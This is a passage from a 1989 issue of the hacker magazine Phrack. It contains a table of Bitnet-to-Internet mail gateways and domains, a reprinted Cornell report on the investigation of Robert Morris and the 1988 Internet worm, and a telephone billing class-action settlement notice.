As for TRD, they offer a money‑back guarantee if they fail to detect an existing bug on your premises. Mr. Lang assures us that Fortune 500 company has been bugged to a greater or lesser extent. That's how out‑of‑hand the problem is getting.

Toward the end of our conversation, Mr. Lang pauses. "So you're really going to print this, huh? You're really on the up and up?" Then he spills the beans.

It turns out Mr. Fritz Lang is really Mr. Frank Jones (he says), a licensed private investigator with a broad reputation in the industry. He used the alias because he suspected I was from a rival counter‑measure agency, or worse, a wire‑tapper, trying to infiltrate his operations.

Which quite possibly I am. You can't trust anybody in this spy business.

Internet Domains

==Phrack Inc.==

Volume Three, Issue 26, File 8 of 11

<><><><><><><><><><><><><><><

<>

<> Future Transcendent Saga Appendix III <>

<> "Limbo To Infinity" <>

<>

<> Internet Domains <>

<>

<> April 1989 <>

<>

<><><><><><><><><><><><><><><

Special thanks goes out to Henry Nussbacher who did the actual compiling of this list. For those of you on Bitnet, you may have seen this previously in the form of BITNET GATES.

For readers who are a little unsure of what this file shows, I will try to explain a little. As you already know from the Future Transcendent Saga, there are many different networks all around the world. Most of these networks are connected in some way, usually all being called the Internet.

Now, as you should know, Taran King and Knight Lighting both have addresses on Bitnet that are on the node UMCVMB.BITNET. However, this node also exists on the Internet in a different form: UMCVMB.MISSOURI.EDU.

EDU is the Internet domain for academic nodes. Not every node on Bitnet has a translation on the Internet. Then again, only a small fraction of the nodes on Internet have Bitnet equivalents.

So what this file really shows is what network you are sending mail to when you have an address that contains a nodename or routing designation that looks a little strange. For people on Bitnet it also shows what Bitnet address serves as the gateway between Bitnet and whichever network they are sending to on the Internet.

The following is a table of gateways between Bitnet and other networks. It is in the format of;

Domain: The upper level recognized name by the Columbia University VM mail system.

Name: The descriptive name of this network.

Gateway: Where the mail is sent to in Bitnet. Unless otherwise specified, the gateway expects to receive a BSMTP (Batch Simple Mail Transfer Protocol) envelope. Users in general do not need to worry about the contents of this field. This is not a mailbox for general questions but rather the server machine (daemon) that acts as the transporter of mail from one network to another. Software postmasters are expected to configure their system so that their system sends to the nearest gateway and not to the default gateway.

Translation: Upon occasion, certain addresses will be translated internally to point to an indirect gateway. In such a case, the complete address is specified.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Internet Commercial Clients (COM)

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

Domain: COM

Name: Internet ‑ Commerical clients

Gateway: SMTP@INTERBIT

Domain: CRD.GE.COM

Name: General Electric Corporate Research & Development Gateway: MAILER@GECRDVM1

Domain: HAC.COM

Name: Hughes Aircraft Co. Local Area Network

Gateway: SMTPUSER@YMIR

Domain: STARGATE.COM

Name: Stargate Information Service

Gateway: SMTP@UIUCVMD

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Internet Academic Clients (EDU)

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

Domain: EDU

Name: Internet ‑ Academic clients

Gateway: SMTP@INTERBIT

Domain: ARIZONA.EDU

Name: University of Arizona, Tucson

Gateway: SMTPUSER@ARIZRVAX

Domain: BATES.EDU

Name: Bates College Local Area Network

Gateway: MAILER@DARTCMS1

Domain: CMSA.BERKELEY.EDU

Name: University of California at Berkeley

Gateway: MAILER@UCBCMSA

Domain: BERKELEY.EDU

Name: University of California at Berkeley Campus Mail Network Gateway: BSMTP@UCBJADE

Domain: BU.EDU

Name: Boston University Local Area Network

Gateway: MAILER@BUACCA

Domain: BUCKNELL.EDU

Name: Bucknell University Local Area Network

Gateway: SMTP@BKNLVMS

Domain: BUFFALO.EDU

Name: State University of New York at Buffalo

Gateway: SMTP@UBVM

Domain: BYU.EDU

Name: Brigham Young University Campus Network

Gateway: MAILER@BYUADMIN

Domain: CALTECH.EDU

Name: California Institute of Technology local area network Gateway: MAILER@HAMLET

Domain: CLAREMONT.EDU

Name: Claremont Colleges Local Area Network

Gateway: SMTPUSER@YMIR

Domain: CLARKSON.EDU

Name: Clarkson University Local Area Network

Gateway: MAILER@CLVM

Domain: CMU.EDU

Name: Carnegie Mellon University Local Area Network

Gateway: MAILER@CMUCCVMA

Domain: COLORADO.EDU

Name: University of Colorado at Boulder Local Area Network Gateway: SMTPUSER@COLORADO

Domain: COLUMBIA.EDU

Name: Columbia University Local Area Network

Gateway: MAILER@CUVMA

Domain: CONNCOLL.EDU

Name: Connecticut College Local Area Network

Gateway: MAILER@CONNCOLL

Domain: CORNELL.EDU

Name: Cornell University

Gateway: MAL@CORNELLC

Domain: CUN.EDU

Name: University of Puerto Rico

Gateway: SMTPUSER@UPRENET

Domain: CUNY.EDU

Name: City University of New York

Gateway: SMTP@CUNYVM

Domain: DARTMOUTH.EDU

Name: Dartmouth College Local Area Network

Gateway: MAILER@DARTCMS1

Domain: GATECH.EDU

Name: Georgia Institute of Technology Local Area Network Gateway: MAILER@GITVM1

Domain: HAMPSHIRE.EDU

Name: Hampshire College Local Area Network

Gateway: MAILER@HAMPVMS

Domain: HARVARD.EDU

Name: Harvard University Local Area Network

Gateway: MAILER@HARVARDA

Domain: HAWAII.EDU

Name: University of Hawaii Local Area Network

Gateway: MAILER@UHCCUX

Domain: IASTATE.EDU

Name: Iowa State University Local Area Network

Gateway: MAILER@ISUMVS

Domain: KSU.EDU

Name: Kansas State University

Gateway: MAILER@KSUVM

Domain: LEHIGH.EDU

Name: Lehigh University Campus Network

Gateway: SMTPUSER@LEHIIBM1

Domain: LSU.EDU

Name: Louisiana State University local area network

Gateway: SMTPUSER@LSUVAX

Domain: MAINE.EDU

Name: University of Maine System

Gateway: MAILER@MAINE

Domain: MAYO.EDU

Name: Mayo Clinic LAN, Minnesota Regional Network

Gateway: SMTPUSER@UMNACVX

Domain: MIT.EDU

Name: MIT Local Area Network

Gateway: MAILER@MITVMA

Domain: NCSU.EDU

Name: North Carolina State University

Gateway: MAILER@NCSUVM

Domain: CCCC.NJIT.EDU

Name: NJIT Computer Conferencing Center

Gateway: MAILER@ORION

Comments: In process of establishing a single NJIT.EDU domain

Domain: NWU.EDU

Name: Northwestern University Local Area Network

Gateway: SMTPUSER@NUACC

Domain: NYU.EDU

Name: New York University/Academic Computing Facility LAN Gateway: SMTP@NYUCCVM

Domain: OBERLIN.EDU

Name: Oberlin College

Gateway: SMTPUSER@OBERLIN

Domain: PEPPERDINE.EDU

Name: Pepperdine University

Gateway: MAILER@PEPVAX

Domain: PRINCETON.EDU

Name: Princeton University Local Area Network

Gateway: VMMAIL@PUCC

Domain: PURDUE.EDU

Name: Purdue University Campus Network

Gateway: MAILER@PURCCVM

Domain: RICE.EDU

Name: Rice University Local Area Network

Gateway: MAILER@RICE

Domain: ROSE‑HULMAN.EDU

Name: Rose‑Hulman Institute of Technology Local Area Network Gateway: SMTPUSER@RHIT

Domain: SDSC.EDU

Name: San Diego Supercomputer Center

Gateway: MAILER@SDSC

Domain: STANFORD.EDU

Name: Stanford University Local Area Network

Gateway: MAILER@STANFORD

Domain: STOLAF.EDU

Name: St. Olaf College LAN, Minnesota Regional Network Gateway: SMTPUSER@UMNACVX

Domain: SWARTHMORE.EDU

Name: Swarthmore College Local Area Network

Gateway: MAILER@SWARTHMR

Domain: SYR.EDU

Name: Syracuse University Local Area Network (FASTNET) Gateway: SMTP@SUVM

Domain: TORONTO.EDU

Name: University of Toronto local area Network

Gateway: MAILER@UTORONTO

Domain: TOWSON.EDU

Name: Towson State University Network

Gateway: MAILER@TOWSONVX

Domain: TRINCOLL.EDU

Name: Trinity College ‑ Hartford, Connecticut

Gateway: MAILER@TRINCC

Domain: TRINITY.EDU

Name: Trinity University

Gateway: MAILER@TRINITY

Domain: TULANE.EDU

Name: Tulane University local area Network

Gateway: MAILER@TCSVM

Domain: UAKRON.EDU

Name: University of Akron Campus Network

Gateway: MAILER@AKRONVM

Domain: UCAR.EDU

Name: National Center for Atmospheric Research Bldr CO Gateway: SMTPSERV@NCARIO

Domain: UCHICAGO.EDU

Name: University of Chicago Local Area Network

Gateway: MAILER@UCHIMVS1

Domain: UCLA.EDU

Name: University of California Los Angeles

Gateway: MAILER@UCLAMVS

Domain: UCOP.EDU

Name: University of California, Office of the President Gateway: BSMTP@UCBJADE

Domain: UCSB.EDU

Name: University of California, Santa Barbara

Gateway: MAILER@SBITP

Domain: UCSD.EDU

Name: University of California at San Diego Campus Mail Network Gateway: MAILER@UCSD

Domain: UCSF.EDU

Name: Univ of California San Francisco Network

Gateway: BSMTP@UCSFCCA

Domain: UFL.EDU

Name: University of Florida, Gainesville, FL

Gateway: MAILER@NERVM

Domain: UGA.EDU

Name: University of Georgia Campus Network

Gateway: MAILER@UGA

Domain: UIC.EDU

Name: University of Illinois at Chicago

Gateway: MAILER@UICVM

Domain: UIUC.EDU

Name: University of Illinois at Urbana‑Champaign Local Area Network Gateway: SMTP@UIUCVMD

Domain: UKANS.EDU

Name: University of Kansas

Gateway: SMTPUSER@UKANVAX

Domain: UKY.EDU

Name: University of Kentucky

Gateway: MAILER@UKCC

Domain: UMN.EDU

Name: University of Minnesota LAN, Minnesota Regional Network Gateway: SMTPUSER@UMNACVX

Domain: UNL.EDU

Name: University of Nebraska Lincoln

Gateway: SMTPUSER@UNLVAX1

Domain: UOREGON.EDU

Name: University of Oregon

Gateway: SMTPUSER@OREGON

Domain: URICH.EDU

Name: University of Richmond network

Gateway: SMTPUSER@URVAX

Domain: UPENN.EDU

Name: University of Pennsylvania Campus Network

Gateway: SMTPUSER@PENNLRSM

Domain: USC.EDU

Name: University of Southern California, Los Angeles Gateway: SMTP@USCVM

Domain: UTAH.EDU

Name: University of Utah Computer Center

Gateway: SMTPUSER@UTAHCCA

Domain: UVCC.EDU

Name: Utah Valley Community College

Gateway: SMTPUSER@UTAHCCA

Domain: VCU.EDU

Name: Virginia Commonwealth University Internetwork

Gateway: SMTPUSER@VCURUBY

Domain: WASHINGTON.EDU

Name: University of Washington Local Area Network

Gateway: MAILER@UWAVM

Domain: WESLEYAN.EDU

Name: Wesleyan University Local Area Network

Gateway: MAILER@WESLEYAN

Domain: WISC.EDU

Name: University of Wisconsin Local Area Network

Gateway: SMTPUSER@WISCMAC3

Domain: WVNET.EDU

Name: West Virginia Network for Educational Telecomputing Gateway: MAILER@WVNVAXA

Domain: YALE.EDU

Name: Yale University Local Area Network

Gateway: SMTP@YALEVM

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

United States Of America Government Domains

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

Domain: GOV

Name: Internet ‑ Government clients

Gateway: SMTP@INTERBIT

Domain: JPL.NASA.GOV

Name: Jet Propulsion Laboratory

Gateway: MAILER@HAMLET

Domain: LBL.GOV

Name: Lawrence Berkeley Laboratory

Gateway: MAILER@LBL

Domain: NBS.GOV

Name: National Institute of Standards and Technology Gateway: SMTPUSER@NBSENH

Domain: NSESCC.GSFC.NASA.GOV

Name: NASA Space and Earth Sciences Computing Center Gateway: MAILER@SCFVM

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Italian National Network (IT)

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

Domain: IT

Name: Italian national network

Gateway: MAILER@ICNUCEVX

Domain: TO.CNR.IT

Name: CNR (Italian Research Council) Network

Gateway: CNRGATE@ITOPOLI

Domain: INFN.IT

Name: Italian Research Network

Gateways: MAILER@IBOINFN

INFNGW@IPIVAXIN

Comments: IPIVAXIN is to only be used as a backup gateway in the event that IBOINFN is broken.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Other Standard Domains Not Previously Detailed

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

Domain: ARPA

Name: Advanced Research Projects Agency ‑ US DOD

Gateway: SMTP@INTERBIT

Domain: AT

Name: University Network of Austria

Gateway: MAILER@AWIUNI11

Domain: BE

Name: Belgian Research Network

Gateway: MAILER@BEARN

Domain: CA

Name: Canadian mail domain

Gateway: MAILER@UTORGPU

Domain: CDN

Name: Canadian University X.400 Research Network

Gateway: MAILER@UWOCC1

Comments: The gateway at CERNVAX is no longer supported due to the high cost of X.25 transfer over public data networks.

Domain: CERN

Name: Center for Nuclear Research Network

Gateways: 1) MAILER@UWOCC1

2) MAILER@CERNVAX

Domain: CH

Name: Swiss University Mail Network(s)

Gateway: MAILER@CEARN

Domain: CHUNET

Name: Swiss University pilot X.400 Network

Gateway: MAILER@CERNVAX

Domain: DBP.DE

Name: German X.400 National Network

Gateway: MAILER@DFNGATE

Domain: DE

Name: EARN view of German academic networks

Gateway: MAILER@DEARN

Domain: DK

Name: Denmark's Internet Domain

Gateway: MAILER@NEUVM1

Domain: ES

Name: Spanish Internet Domain

Gateway: MAILER@EB0UB011

Domain: FI

Name: Finland's Internet Domain

Gateway: MAILER@FINHUTC

Domain: FR

Name: French University pilot X.400 Network

Gateway: MAILER@CERNVAX

Domain: HEPnet

Name: High Energy Physics network

Gateway: MAILER@LBL

Domain: IE

Name: Ireland Academic X25 Network

Gateway: MAILER@IRLEARN

Domain: IL

Name: Israeli Academic Research Network

Gateway: MAILER@TAUNIVM

Domain: IS

Name: Icelands Internet Domain

Gateway: MAILER@NEUVM1

Domain: JP

Name: Japanese network

Gateway: MAILER@JPNSUT00

Domain: MFENET

Name: Magnetic Fusion Energy Network

Gateway: MFEGATE@ANLVMS

Domain: MIL

Name: Internet ‑ Military clients

Gateway: SMTP@INTERBIT

Domain: NET

Name: Internet ‑ Network gateways

Gateway: SMTP@INTERBIT

Domain: NL

Name: Netherlands Internet Domain

Gateway: MAILER@HEARN

Domain: NO

Name: Norwegian Internet domain

Gateway: MAILER@NORUNIX

Domain: ORG

Name: Internet ‑ Organizational clients

Gateway: SMTP@INTERBIT

Domain: PT

Name: National Scientific Computation Network (of Portugal) Gateway: MLNET@PTIFM

Domain: SE

Name: SUNET, Swedish University NETwork

Gateway: MAILER@SEKTH

Domain: SG

Name: Singapore National Network

Gateway: MAILER@NUSVM

Domain: SUNET

Name: Swedish University X.400 Network

Comments: The gateways at CERNVAX and UWOCC1 are no longer supported due to the high cost of X.25 transfer over public data networks ‑‑ see domain SE

Domain: UK

Name: United Kingdom University/Research Network (Janet) Gateway: MAILER@UKACRL

Comments: NRSname is basically a reversal of the domain address. Example: user@GK.RL.AC.UK becomes user%UK.AC.RL.GK@AC.UK

Domain: UNINETT

Name: Norwegian University pilot X.400 Network

Gateway: MAILER@NORUNIX

Domain: US

Name: Internet ‑ USA clients

Gateway: SMTP@INTERBIT

Domain: UTORONTO

Name: University of Toronto local area Network

Gateway: MAILER@UTORONTO

Domain: UUCP

Name: Unix Network

Gateways: 1) MAILER@PSUVAX1 (USA)

2) MAILER@UWOCC1 (Canada)

3) BSMTP@UNIDO (Germany)

4) MAILER@MCVAX (Netherlands)

Alternate addressing: user%node.UUCP@HARVARD.HARVARD.EDU user%node.UUCP@RUTGERS.EDU

Comments: Only users in Germany are allowed to send to UNIDO. All European users are recommended to use MCVAX.

Domain: WUSTL

Name: Washington University local area Network

Gateway: GATEWAY@WUNET

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Bitnet ‑ Internet Regional Gateways

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

Below is a list of those sites that will handle regional traffic between Bitnet and the Internet:

SMTP@CUNYVM

SMT@CORNELLC

MAILER@MITVMA

MAILER@ICNUCEVM ‑ available only for Italian nodes

You should *ALWAYS* use the generic address of SMTP@INTERBIT and never any of the addresses mentioned above. The addresses stated above are for informational and debugging purposes ONLY. Failure to abide by this rule will cause the owners of the gateway to close their service to all Bitnet and EARN users.

Indirect Domains

%%%%%%%%%%%%%%%%

Domains that are unreachable directly, but that the Internet exit of Mailer knows how to translate:

Domain: DEC

Name: Digital Equipment Internal Network (Easynet)

Gateway: SMTP@INTERBIT

Sample: user@domain.DEC

Translated to: user%node.DEC@DECWRL.DEC.COM

Domain: OZ (soon to become OZ.AU)

Name: Australian University Network

Gateway: SMTP@INTERBIT

Sample: user@node.OZ

Translated to: user%node.OZ@UUNET.UU.NET

Domains that are unreachable directly but that are accessible by specifying the address explicitly:

Name: Xerox Internal Use Only Network (Grapevine)

Sample: user.Registry@Xerox.Com

Name: IBM Internal Use Only Network (VNET)

Sample: user@Vnet

Comments: 1) Mail must be sent directly to user and not via a 3rd party mailer (i.e. VM Mailer server)

2) User within Vnet must first receive approval within IBM to establish a circuit and then initiate a virtual circuit. A user within Bitnet may not establish communications with a VNET user, without the above requirement.

3) This gateway is only open to selected nodes within IBM which have ties with academia (i.e. ACIS).

Phrack World News XXVI Part 1

==Phrack Inc.==

Volume Three, Issue 26, File 9 of 11

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN P h r a c k W o r l d N e w s PWN

PWN %%%%%%%%%%% %%%%%%%%% %%%%%%PWN

PWN Issue XXVI/Part 1 PWN

PWN PWN

PWN April 25, 1989 PWN

PWN PWN

PWN Created, Written, and Edited PWN PWN by Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Welcome to Issue XXVI of Phrack World News. This issue features articles on Robert Tappen Morris, ITT, Telenet, PC Pursuit, a hacker's convention in Holland, government wiretapping, viruses, social security numbers, a rivalry between two different factions of TAP Magazine and much more.

As we are getting closer to SummerCon '89, it is becoming increasingly more important for us to get an idea of who to be expecting and who we need to contact to supply with further information.

Since we only communicate directly with a select group of people at this time, we recommend that you contact Red Knight, Aristotle, or Violence (or other members of the VOID hackers). These people will in turn contact us and then we can get back to you. Keep in mind that only people who are able to contact us will be receiving the exact location of SummerCon '89.

Please do not wait till the last minute as important information and changes can occur at any time.

:Knight Lightning

________________________________________

Cornell Panel Concludes Morris Responsible For Computer Worm April 6, 1989

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

By Dennis Meredith (Cornell Chronicle)

Graduate student Robert Tappan Morris Jr., working alone, created and spread the "worm" computer program that infected computers nationwide last November, concluded an internal investigative commission appointed by Provost Robert Barker.

The commission said the program was not technically a "virus" ‑‑ a program that inserts itself into a host program to propagate ‑‑ as it has been referred to in popular reports. The commission described the program as a "worm," an independent program that propagates itself throughout a computer system.

In its report, "The Computer Worm," the commission termed Morris's behavior "a juvenile act that ignored the clear potential consequences." This failure constituted "reckless disregard of those probable consequences," the commission stated.

Barker, who had delayed release of the report for six weeks at the request of both federal prosecutors and Morris's defense attorney, said, "We feel an overriding obligation to our colleagues and to the public to reveal what we know about this profoundly disturbing incident."

The commission had sought to determine the involvement of Morris or other members of the Cornell community in the worm attack. It also studied the motivation and ethical issues underlying the release of the worm.

Evidence was gathered by interviewing Cornell faculty, staff, and graduate students and staff and former students at Harvard University, where Morris had done undergraduate work.

Morris declined to be interviewed on advice of counsel. Morris had requested and has received a leave of absence from Cornell, and the university is prohibited by federal law from commenting further on his status as a student.

The commission also was unable to reach Paul Graham, a Harvard graduate student who knew Morris well. Morris reportedly contacted Graham on November 2 1988, the day the worm was released, and several times before and after that.

Relying on files from Morris's computer account, Cornell Computer Science Department documents, telephone records, media reports, and technical reports from other universities, the commission found that:

‑ Morris violated the Computer Sciences Department's expressed policies against computer abuse. Although he apparently chose not to attend orientation meetings at which the policies were explained, Morris had been given a copy of them. Also, Cornell's policies are similar to those at Harvard, with which he should have been familiar.

‑ No member of the Cornell community knew Morris was working on the worm. Although he had discussed computer security with fellow graduate students, he did not confide his plans to them. Cornell first became aware of Morris's involvement through a telephone call from the Washington Post to the science editor at Cornell's News Service.

‑ Morris made only minimal efforts to halt the worm once it had propagated, and did not inform any person in a position of responsibility about the existence or content of the worm.

‑ Morris probably did not intend for the worm to destroy data or files, but he probably did intend for it to spread widely. There is no evidence that he intended for the worm to replicate uncontrollably.

‑ Media reports that 6,000 computers had been infected were based on an initial rough estimate that could not be confirmed. "The total number of affected computers was surely in the thousands," the commission concluded.

‑ A computer security industry association's estimate that the worm caused about $96 million in damage is "grossly exaggerated" and "self‑serving."

‑ Although it was technically sophisticated, "the worm could have been created by many students, graduate or undergraduate ... particularly if forearmed with knowledge of the security flaws exploited or of similar flaws."

The commission was led by Cornell's vice president for information technologies, M. Stuart Lynn. Other members were law professor Theodore Eisenberg, computer science Professor David Gries, engineering and computer science Professor Juris Hartmanis, physics professor Donald Holcomb, and Associate University Counsel Thomas Santoro.

Release of the worm was not "an heroic event that pointed up the weaknesses of operating systems," the report said. "The fact that UNIX ... has many security flaws has been generally well known, as indeed are the potential dangers of viruses and worms."

The worm attacked only computers that were attached to Internet, a national research computer network and that used certain versions of the UNIX operating system. An operating system is the basic program that controls the operation of a computer.

"It is no act of genius or heroism to exploit such weaknesses," the commission said.

The commission also did not accept arguments that one intended benefit of the worm was a heightened public awareness of computer security.

"This was an accidental by‑product of the event and the resulting display of media interest," the report asserted. "Society does not condone burglary on the grounds that it heightens concern about safety and security."

In characterizing the action, the commission said, "It may simply have been the unfocused intellectual meandering of a hacker completely absorbed with his creation and unharnessed by considerations of explicit purpose or potential effect."

Because the commission was unable to contact Graham, it could not determine whether Graham discussed the worm with Morris when Morris visited Harvard about two weeks before the worm was launched. "It would be interesting to know, for example, to what Graham was referring to in an Oct. 26 electronic mail message to Morris when he inquired as to whether there was 'Any news on the brilliant project?'" said the report.

Many in the computer science community seem to favor disciplinary measures for Morris, the commission reported.

"However, the general sentiment also seems to be prevalent that such disciplinary measures should allow for redemption and as such not be so harsh as to permanently damage the perpetrator's career," the report said.

The commission emphasized, that this conclusion was only an impression from its investigations and not the result of a systematic poll of computer scientists.

"Although the act was reckless and impetuous, it appears to have been an uncharacteristic act for Morris" because of his past efforts at Harvard and elsewhere to improve computer security, the commission report said.

Of the need for increased security on research computers, the commission wrote, "A community of scholars should not have to build walls as high as the sky to protect a reasonable expectation of privacy, particularly when such walls will equally impede the free flow of information."

The trust between scholars has yielded benefits to computer science and to the world at large, the commission report pointed out.

"Violations of that trust cannot be condoned. Even if there are unintended side benefits, which is arguable, there is a greater loss to the community as a whole."

The commission did not suggest any specific changes in the policies of the Cornell Department of Computer Science and noted that policies against computer abuse are in place for centralized computer facilities. However, the commission urged the appointment of a committee to develop a university‑wide policy on computer abuse that would recognize the pervasive use of computers distributed throughout the campus.

The commission also noted the "ambivalent attitude towards reporting UNIX security flaws" among universities and commercial vendors. While some computer users advocate reporting flaws, others worry that such information might highlight the vulnerability of the system.

"Morris explored UNIX security amid this atmosphere of uncertainty, where there were no clear ground rules and where his peers and mentors gave no clear guidance," the report said.

"It is hard to fault him for not reporting flaws that he discovered. From his viewpoint, that may have been the most responsible course of action, and one that was supported by his colleagues."

The commission's report also included a brief account of the worm's course through Internet. After its release shortly after 7:26 p.m. on November 2, 1988, the worm spread to computers at the Massachusetts Institute of Technology, the Rand Corporation, the University of California at Berkeley and others, the commission report said.

The worm consisted of two parts ‑‑ a short "probe" and a much larger "corpus." The problem would attempt to penetrate a computer, and if successful, send for the corpus.

The program had four main methods of attack and several methods of defense to avoid discovery and elimination. The attack methods exploited various flaws and features in the UNIX operating systems of the target computers. The worm also attempted entry by "guessing" at passwords by such techniques as exploiting computer users' predilections for using common words as passwords.

The study's authors acknowledged computer scientists at the University of California at Berkeley for providing a "decompiled" version of the worm and other technical information. The Cornell commission also drew on analyses of the worm by Eugene H. Spafford of Purdue University and Donn Seeley of the University of Utah.

________________________________________

People Vs. ITT Communications Services, Inc. March 29, 1989

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

NOTICE OF CLASS ACTION AND PROPOSED SETTLEMENT TO CERTAIN CURRENT AND FORMER CUSTOMERS OF UNITED STATES TRANSMISSION SYSTEMS, INC. (NOW KNOWN AS ITT COMMUNICATIONS SERVICES, INC.)

By order of the United States District Court for the Eastern District of Michigan, PLEASE TAKE NOTICE THAT:

A class action lawsuit has been filed on behalf of certain former and current customers against United States Transmission Systems, Inc., now known as ITT Communications Services, Inc., hereinafter referred to as "USTS." The Court has preliminarily approved a settlement of this lawsuit.

YOU ARE URGED TO READ THIS NOTICE CAREFULLY BECAUSE IT AFFECTS YOUR RIGHTS AND WILL BE BINDING ON YOU IN THE FUTURE.

I. NOTICE OF A PENDING CLASS ACTION

A. Description of the Lawsuit

Plaintiffs have sued USTS, alleging that USTS charged customers for certain unanswered phone calls, holding time, busy signals, and central office recorded messages, hereinafter referred to as "unanswered calls," without adequately disclosing such charges to their customers or the public. Plaintiffs seek to present their own claims for charges for unanswered calls, as well as the claims of other current and former USTS customers for similar charges.

USTS denies the violations alleged by plaintiffs, and contends that at all times, USTS has charged its subscribers fairly and properly and has disclosed fully and fairly the basis for its long distance charges. USTS has agreed to settle plaintiff's suit solely to avoid the expense, inconvenience and disruption of further litigation.

This notice is not an expression of any opinion by the Court of the merits of this litigation or of the Settlement Agreement. The Complaint, the Settlement Agreement and other pleadings in this case may be inspected during normal business hours at the office of the Clerk of the United States District Court for the Eastern District of Michigan, 231 West Lafayette Boulevard, Detroit, MI 48226.

B. The Settlement Class

Plaintiffs and USTS have entered into a Settlement Agreement, which has been preliminarily approved by the Court. Under the terms of the Settlement Agreement, the parties have agreed, for purposes of settlement only, that this suit has been brought on behalf of the following class of persons similarly situated to Plaintiffs, hereinafter known as "the Class":

All persons and entities that subscribed to and utilized the long distance telephone service of USTS or its predecessor ITT Corporate Communication Services, Inc., referred to collectively hereinafter as "USTS," at any time during the period January 1, 1979 through December 31, 1985.

C. How to Remain a Class Member

If you were a subscriber to and utilized USTS' long distance service at any time during this period, you are a member of the Class. You need do nothing to remain a member of the Class and participate in the benefits this settlement will provide. If you remain in the Class, you will be bound by the results of the settlement and/or the lawsuit.

D. How to Exclude Yourself From the Class

You are not required to be a member of the Class. Should you decide that you do not want to me a member of the Class, you must send an Exclusion Notice that states your name, your current address, and your desire to be excluded from the Class to the Clerk of the United States District Court for the Eastern District of Michigan at the address given at the end of this Notice, postmarked no later than April 20, 1989. If you choose to be excluded from the Class, you may not participate in the settlement. You will not, however, be bound by any judgment dismissing this action and you will be free to pursue on your own behalf any legal rights you may have.

II. TERMS OF THE SETTLEMENT

The Settlement Agreement requires USTS to provide to Class members up to 750,000 minutes of long distance telephone credits having a maximum value, at 30 cents per minute, of $225,000, hereinafter known as the "Settlement Credits," and cash refunds up to a maximum of $50,000. These benefits are available to Class members who file a proof of claim in a timely manner as described in Section III below. Class members may choose one benefit from the following options:

A. A *standardized credit* toward USTS long distance telephone service of $1.50 for each year from 1979 through 1985 in which the Class member (i) was a USTS customer, and (ii) claims that s/he was charged by USTS for unanswered calls; or

B. A *standardized cash refund* of 90 cents for each year from 1979 through 1985 in which the Class member was (i) was a USTS customer and (ii) claims that s/he was charged by USTS for unanswered calls; or,

C. An *itemized credit* toward USTS long distance service of 30 cents for each minute of unanswered calls for which the Class member was charged during the Class period (January 1, 1979 through December 31, 1985) and for which the Class member has not been previously reimbursed or credited; or,

D. An *itemized cash refund* of 30 cents for each minute of unanswered calls for which the Class member charged during the Class period (January 1, 1979 through December 31, 1985) and for which the Class member has not been previously reimbursed or credited.

To obtain an *itemized* credit or cash refund, the Class member must itemize and attest to each unanswered call for for which a refund or credit is claimed. If the total credits claimed by Class members exceed 750,000 credit minutes, each Class member claiming Settlement Credits will receive his/her/its pro rata share of the total Settlement Credits available.

Class members need not be current USTS customers to claim the standardized and itemized credits. USTS will automatically open an account for any Class member who requests credits and executes an authorization to open such an account. If a Class member incurs a local telephone company service charge in connection with the opening of a USTS account, USTS will issue a credit to the Class member's account for the full amount of such service charge upon receipt of the local telephone company's bill for the service charge. USTS is not responsible for any other service charge that a local telephone company may impose for ordering, using or terminating USTS service.

The Settlement Agreement requires USTS to pay the costs of giving this Notice (up to a maximum of $120,000) and of administering the settlement described above.

The Settlement Agreement further provides that upon final approval of the settlement, the Court will enter a judgment dismissing with prejudice all claims of plaintiffs and members of the Class that have been or might have been asserted in this action and that relate to USTS' billing practices and disclosure practices for unanswered calls.

Counsel for the Class have investigated the facts and circumstances regarding the claims against USTS and their defenses. In view of those circumstances, counsel for the Class have concluded that this Settlement Agreement is fair and reasonable, and in the best interests of the Class.

III. HOW TO FILE A CLAIM

To receive Settlement Credits or a Cash Refund, you must first obtain a Proof of Claim Notice; then provide all the information requested and return it to the Clerk of the Court postmarked no later than June 30, 1989.

To obtain claim forms: To file completed claim form:

USTS Class Action Claim Administrator Clerk of the United States Court ITT Communication Services, Inc. ATTN: USTS Settlement 100 Plaza Drive 231 W. Lafayette Blvd. Room 740 Secaucus, NJ 07096 Detroit, MI 48226

If you have any further questions about this Notice, or the filing of Proof of Claim, *write* to the USTS Action Claim Administrator at the above address. If you have any questions about this lawsuit or your participation therein as a member of the Class, *write* to lead counsel for plaintiffs ‑‑

Sachnoff Weaver & Rubenstein, Ltd.

ATTN: USTS Settlement

30 South Wacker Drive, Suite 2900

Chicago, IL 60606

Always consult your own attorney for legal advice and questions which concern you about your rights in any class action matter.

DO NOT telephone the Court.

DO NOT telephone the attorneys for plaintiff.

DO NOT telephone the Claims Administrator; any office of USTS or any of its employees.

DO NOT telephone any Telephone Company asking for information on this matter. Only *written correspondence filed in a timely manner will be considered by the Court.

________________________________________

Telenet Announces New PC Pursuit Terms April 9, 1989

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

